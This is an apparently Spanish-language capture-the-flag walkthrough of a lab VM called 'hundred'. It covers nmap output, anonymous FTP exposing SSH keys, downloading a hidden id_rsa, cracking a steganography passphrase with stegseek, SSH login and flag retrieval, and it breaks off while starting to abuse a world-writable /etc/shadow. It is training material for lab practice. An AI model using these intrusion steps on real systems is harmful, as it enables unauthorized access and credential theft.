Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-08 10:55 EDT
Nmap scan report for 192.168.28.16
Host is up (0.00062s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxrwxrwx 1 0 0 435 Aug 02 2021 id_rsa [NSE: writeable]
| -rwxrwxrwx 1 1000 1000 1679 Aug 02 2021 id_rsa.pem [NSE: writeable]
| -rwxrwxrwx 1 1000 1000 451 Aug 02 2021 id_rsa.pub [NSE: writeable]
|_-rwxrwxrwx 1 0 0 187 Aug 02 2021 users.txt [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.28.5
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 ef:28:1f:2a:1a:56:49:9d:77:88:4f:c4:74:56:0f:5c (RSA)
| 256 1d:8d:a0:2e:e9:a3:2d:a1:4d:ec:07:41:75:ce:47:0e (ECDSA)
|_ 256 06:80:3b:fc:c5:f7:7d:c5:58:26:83:c4:f7:7e:a3:d9 (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:14:0C:94 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.32 seconds
Veremos que hay un FTP si intentamos entrar como anonimo, veremos que nos deja y veremos lo siguiente:
ftp anonymous@<IP>
Info:
229 Entering Extended Passive Mode (|||38524|)
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 435 Aug 02 2021 id_rsa
-rwxrwxrwx 1 1000 1000 1679 Aug 02 2021 id_rsa.pem
-rwxrwxrwx 1 1000 1000 451 Aug 02 2021 id_rsa.pub
-rwxrwxrwx 1 0 0 187 Aug 02 2021 users.txt
226 Directory send OK.
Veremos varias cosas interesantes, entre ellas que hay una clave PEM pero no sabemos de que usuario puede ser, por lo que nos vamos a descargar los siguiente archivos.
Ahora vamos a entrar a la pagina web que esta alojada en el puerto 80, que si entramos veremos simplemente una imagen, pero si inspeccionamos la pagina veremos lo siguiente:
Vemos que nos descubrio el archivo id_rsa que este si puede ser el real, por lo que nos lo vamos a descaragar:
wget http://<IP>/softyhackb4el7dshelldredd/id_rsa
Ahora si lo leemos veremos que si es un id_rsa por lo que le pondremos los permisos necesarios.
chmod 600 id_rsa
Ahora probaremos a conectarnos con un usuario que nos llamo bastante la atencion en la lista de users.txt llamado hmv:
ssh -i id_rsa hmv@<IP>
Info:
Enter passphrase for key 'id_rsa':
Nos pedira que ingresemos la contraseña de la clave PEM pero no la tendremos, lo unico que tenemos es la imagen de la pagina web, vamos a realizarle esteganografía con la siguiente herramienta:
Escalate user hmv
stegseek
stegseek logo.jpg users.txt
Vamos a pasarle como diccionario de palabras el archivo users.txt que obtuvimos mediante el FTP y veremos lo siguiente:
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "cromiphi"
[i] Original filename: "toyou.txt".
[i] Extracting to "logo.jpg.out".
Veremos que ha funcionado y obtendremos el archivo llamado logo.jpg.out y si lo leemos veremos lo siguiente:
cat logo.jpg.out
Info:
d4t4s3c#1
Vamos a probar dicha palabra si fuera la contraseña de la clave PEM.
SSH
ssh -i id_rsa hmv@<IP>
Metemos como contraseña d4t4s3c#1 y veremos que estamos dentro.
Info:
Enter passphrase for key 'id_rsa':
Linux hundred 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Aug 2 06:43:27 2021 from 192.168.1.51
hmv@hundred:~$ whoami
hmv
Vamos a leer la flag del usuario.
user.txt
HMV100vmyay
Escalate Privileges
Si listamos los permisos del archivo shadow:
ls -la /etc/shadow
Info:
-rwxrwx-wx 1 root shadow 963 Aug 2 2021 /etc/shadow
Vemos que podemos editar dicho archivo, por lo que haremos lo siguiente:
Primero en nuestro host cifrariamos una contraseña: